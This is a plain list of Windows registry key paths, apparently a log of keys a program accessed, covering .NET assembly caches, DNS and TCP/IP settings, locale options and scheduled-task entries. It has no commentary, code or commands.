HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Deployment,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Serialization.Formatters.Soap,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Accessibility,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Security,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{3512230a-fb0b-11e5-b945-806e6f6e6963}\Data
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{3512230a-fb0b-11e5-b945-806e6f6e6963}\Generation
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{35122306-fb0b-11e5-b945-806e6f6e6963}\Data
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{35122306-fb0b-11e5-b945-806e6f6e6963}\Generation
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{35122307-fb0b-11e5-b945-806e6f6e6963}\Data
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{35122307-fb0b-11e5-b945-806e6f6e6963}\Generation
HKEY_CURRENT_USER\ZXMZREUEN\Serial
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000410
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\DataStore_V1.0\Disable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\DataStore_V1.0\DataFilePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane3
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane4
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane5
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane6
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane7
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane8
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane9
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane10
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane11
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane12
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane13
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane14
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane15
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane16
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{0000897b-83df-4b96-be07-0fb58b01c4a4}\LanguageProfile\0x00000000\{0001bea3-ed56-483d-a2e2-aeae25577436}\Enable
HKEY_CURRENT_USER\Keyboard Layout\Toggle\Language Hotkey
HKEY_CURRENT_USER\Keyboard Layout\Toggle\Hotkey
HKEY_CURRENT_USER\Keyboard Layout\Toggle\Layout Hotkey
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\CTF\EnableAnchorContext
HKEY_CURRENT_USER\ZBIRE\Serial
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Data.SqlXml,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\InstallationType
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\up_RASAPI32\EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\up_RASAPI32\FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\up_RASAPI32\EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\up_RASAPI32\ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\up_RASAPI32\MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\up_RASAPI32\FileDirectory
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\Library
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\IsMultiInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\First Counter
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\CategoryOptions
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\FileMappingSize
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\Counter Names
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\QueryAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\QueryAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableAdapterDomainName
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UseDomainNameDevolution
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseDomainNameDevolution
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\UseDomainNameDevolution
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DomainNameDevolutionLevel
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DomainNameDevolutionLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\PrioritizeRecordData
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\PrioritizeRecordData
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\PrioritizeRecordData
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AllowUnqualifiedQuery
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AllowUnqualifiedQuery
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\AllowUnqualifiedQuery
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AppendToMultiLabelName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AppendToMultiLabelName
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ScreenBadTlds
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ScreenBadTlds
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ScreenUnreachableServers
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ScreenUnreachableServers
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ScreenDefaultServers
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ScreenDefaultServers
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DynamicServerQueryOrder
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DynamicServerQueryOrder
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\FilterClusterIp
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\FilterClusterIp
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\WaitForNameErrorOnAll
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\WaitForNameErrorOnAll
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UseEdns
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseEdns
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DnsSecureNameQueryFallback
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsSecureNameQueryFallback
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\EnableDAForAllNetworks
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\EnableDAForAllNetworks
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DirectAccessQueryOrder
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DirectAccessQueryOrder
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\QueryIpMatching
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\QueryIpMatching
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UseHostsFile
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseHostsFile
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AddrConfigControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AddrConfigControl
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationEnabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationEnabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableDynamicUpdate
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterPrimaryName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterPrimaryName
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\EnableAdapterDomainNameRegistration
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterReverseLookup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterReverseLookup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableReverseAddressRegistrations
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterWanAdapters
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterWanAdapters
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableWanDynamicUpdate
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationTtl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationTtl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DefaultRegistrationTTL
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationRefreshInterval
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationRefreshInterval
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DefaultRegistrationRefreshInterval
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationMaxAddressCount
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationMaxAddressCount
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\MaxNumberOfAddressesToRegister
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UpdateSecurityLevel
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UpdateSecurityLevel
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\UpdateSecurityLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UpdateTopLevelDomainZones
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UpdateTopLevelDomainZones
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DowncaseSpnCauseApiOwnerIsTooLazy
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DowncaseSpnCauseApiOwnerIsTooLazy
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationOverwrite
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationOverwrite
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxCacheSize
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxCacheSize
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxCacheTtl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxCacheTtl
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxNegativeCacheTtl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxNegativeCacheTtl
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AdapterTimeoutLimit
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AdapterTimeoutLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ServerPriorityTimeLimit
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ServerPriorityTimeLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxCachedSockets
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxCachedSockets
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\EnableMulticast
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MulticastResponderFlags
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MulticastResponderFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MulticastSenderFlags
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MulticastSenderFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MulticastSenderMaxTimeout
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MulticastSenderMaxTimeout
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsTest
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseCompartments
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\CacheAllCompartments
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseNewRegistration
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ResolverRegistration
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ResolverRegistrationOnly
HKEY_LOCAL_MACHINE\SYSTEM\Setup\SystemSetupInProgress
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsQueryTimeouts
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DnsQueryTimeouts
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsQuickQueryTimeouts
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DnsQuickQueryTimeouts
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\PrimaryDomainName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Domain
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Hostname
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\EnableAdapterDomainNameRegistration
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AdapterDomainName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\QueryAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\DisableAdapterDomainName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\RegistrationEnabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\RegisterAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\RegistrationMaxAddressCount
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\MaxNumberOfAddressesToRegister
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\Domain
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\DhcpDomain
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\QueryAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\DisableAdapterDomainName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\RegistrationEnabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\DisableDynamicUpdate
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\RegisterAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\EnableAdapterDomainNameRegistration
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\RegistrationMaxAddressCount
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\MaxNumberOfAddressesToRegister
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\Domain
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\DhcpDomain
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\SearchList
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\SearchList
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\CEIPEnable
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\NodeType
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\DhcpNodeType
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\ScopeId
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\DhcpScopeId
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\EnableProxy
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\EnableDns
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it-IT
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it-IT
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\SecurityService\DefaultAuthLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Adobe Flash Player Updater\Id
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueEssNeedsLoading
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\Root
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\Root
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\SchedulingEngineKnob
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\LocaleName
HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cache
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\IpHlpSvc\EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\IpHlpSvc\FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\IpHlpSvc\EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\IpHlpSvc\ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\IpHlpSvc\MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\IpHlpSvc\FileDirectory
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\iphlpsvc\Parameters\ServiceDllUnloadOnStop
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{8D4F19B0-4750-45BA-ABC0-04F1462C0509}\Hash
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{8D4F19B0-4750-45BA-ABC0-04F1462C0509}\DynamicInfo
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\LastServiceStart
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\WDI\ResolutionHost\Id
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{9435F817-FED2-454E-88CD-7F78FDA62C48}\Hash
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{9435F817-FED2-454E-88CD-7F78FDA62C48}\Triggers
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\(Default)
